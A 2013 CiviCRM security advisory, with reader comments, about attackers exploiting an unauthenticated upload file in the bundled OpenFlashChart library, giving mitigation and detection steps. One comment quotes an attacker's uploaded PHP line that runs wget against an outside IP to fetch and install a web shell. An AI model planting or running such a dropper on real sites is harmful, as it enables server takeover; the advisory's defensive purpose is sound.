Advisory: OpenFlashChart attacks

Publicat
2013-04-17 16:51
Written by

IMPORTANT: You do NOT need to upgrade CiviCRM to remove this vulnerability. See "Prevent Attacks: Delete the Vulnerable File" below.

In recent days, multiple site admininistrators have reported evidence that their sites were attacked using vulnerabilities in the OpenFlashChart library included with prior versions of CiviCRM.  This vulnerability was eliminated in the CiviCRM v4.2.6 release (Dec 2012), and site administrators were strongly advised to apply the upgrade. However, as older versions of CiviCRM are still vulnerable, site administrators running outdated versions of CiviCRM should take steps immediately to prevent new attacks and identify past attacks. This blog post provides some background and suggestions.

You can check what version of CiviCRM you are using by looking on any CiviCRM page.  The version is displayed at the bottom of the screen (see screenshot below).

Update: The CiviCRM v4.2.6+ release is secure against this vulnerability, but some upgraded installations may still be vulnerable if the upgrade was misapplied. As a precaution, we encourage all administrators to determine if their installation is vulnerable (see below).

 

Background

OpenFlashChart is a PHP library used to render dashboards and reports in CiviCRM v3+.  The OpenFlashChart source code includes various example files, and one of those example files allows remote, unauthenticated users to upload files.  If an attacker uploads an executable file (such as a PHP or CGI file), then he can seriously compromise the site's security.

 

(Update) Determine Vulnerability

To verify whether a site is vulnerable, look in the "civicrm" source tree for the file "packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php" . If the file exists, then you should proceed with preventing and identifying attacks.

 

Prevent Attacks: Delete the Vulnerable File

The simplest, most direct way to prevent attackers from exploiting this vulnerability is to delete the vulnerable file.  Within the "civicrm" directory tree, the file is called:

packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php

This file was deleted in CiviCRM v4.2.6+. If you are running an older version you should immediately delete this file.

 

Prevent Attacks: Don't allow web-server to create & execute a file

System administrators can help prevent similar attacks in the future by ensuring that the web server user (e.g.  "www-data" or "apache") cannot create files in the source-code directory; or, similarly, by ensuring that any files written by the web-server cannot be later executed by the web-server. The implementation details vary among hosting environments (with different operating systems, web servers, usernames, customized paths, etc.), but the following is a common formulation:

  • The source tree for CiviCRM, Drupal, etal should not be owned by the web user or web group (e.g. "www-data" or "apache").
  • The source tree should not allow writing by the web user or group (e.g. "www-data" or "apache").
  • The data file directory (e.g. Drupal's "sites/default/files") should not allow remote users to execute PHP files. In many Drupal installs, this is prevented automaticaly because the .htaccess includes "SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006" and "Options None".

This is a general preventive policy but comes with some trade-offs -- e.g. it restricts both administrators and attackers, and some administrators may not be able to lock down all folders. Not-with-standing these caveats, the central point remains: the more you can lock down folders, the better.

 

Identify Attacks

If you administer a site which has been vulnerable to this issue, then you should search your HTTP request logs for past requests matching "packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php". If none found, then you're probably ok.

If there have been requests for "ofc_upload_image.php", then you may want to search for evidence that has been left behind in previous attacks. For example, if your web root is "/var/www", then these commands would identify files produced in previous attacks:

  • find /var/www -name aaa.php (one reported attack wrote this file)
  • find /var/www -name shell.php
  • find /var/www -name endspie1.php
  • grep -r "function permission_octal2string" /var/www

Unfortunately, it's not possible to provide a decisive search that would find files produced by any possible attacker. As a more thorough option, one should identify any folders that are writable by the web-user and audit any executable files (*.php, *.cgi, *.pl, etc).

For more discussion about evidence found in previous attacks, see http://forum.civicrm.org/index.php/topic,22826.0.html

Filed under

Comments

Thanks for the alert.

We've also found the following as an example of an attack

grep -r "function permission_octal2string"

sites/all/modules/civicrm/packages/OpenFlashChart/tmp-upload-images/q.php:function permission_octal2string ($mode) {
sites/all/modules/civicrm/packages/OpenFlashChart/tmp-upload-images/q.txt.1:function permission_octal2string ($mode) {

These were created by

sites/all/modules/civicrm/packages/OpenFlashChart/tmp-upload-images/code.php

Which contains

iskorpitx<?php system("wget http://185.12.109.113/q.txt; mv q.txt q.php"); ?>

So these are some examples of the sorts of things you should look out for also.

Hope this is useful

Parvez

site administrators were strongly advised to apply the upgrade.

Really? Where?

Announcements to the civicrm-security email list and email to all registered CiviCRM site admins. The former has not been advised of any recent CiviCRM security fixes. There's a conversation happening about improving these systems - I hoped to have a breakout session on CiviCRM security at the Sydney conference, hopefully it can be a topic at the upcoming event instead.

Since a CiviCRM installation with any degree of customization cannot realistically do an upgrade more than once every two years or so (the costs of upgrading every time there's a release are just too great), it would be great if there was a separate system to announce security issues. 

Drupal does a great job in this area:

https://drupal.org/security

What's great about Drupal's advisories is that they include alternative solutions:

https://drupal.org/SA-CORE-2012-003

"If you are unable to deploy the security release immediately, removing or blocking access to install.php is a sufficient mitigation step for the arbitrary PHP code execution vulnerability."

Appreciate the informative security report. Would further appreciate that it not be platform specific unless it is specific to that platform. CiviCRM is now working on the three most popular CMS platforms despite Drupal being the most active. Let's maintain cohesion of the entire CiviCRM community. Thank you.

My CiviCRM version is:
return array( 'version' => '3.4.7',
'cms' => 'Drupal',
'revision' => '36805' );
I do not have a ofc_upload_image.php file: I did however find some suspicious files:
~/www$ grep -r "function permission_octal2string" *

www/includes/codex.php:function permission_octal2string ($mode) {
www/profiles/sok.php:function permission_octal2string ($mode) {
www/profiles/codex.php:function permission_octal2string ($mode) {
These files did not contain a wget command, but did have a good amount of file manipulation code. They were all created with the same timestamp which was after the last upgrade. There were no other files with system or exec in them that seemed particularly worrisome.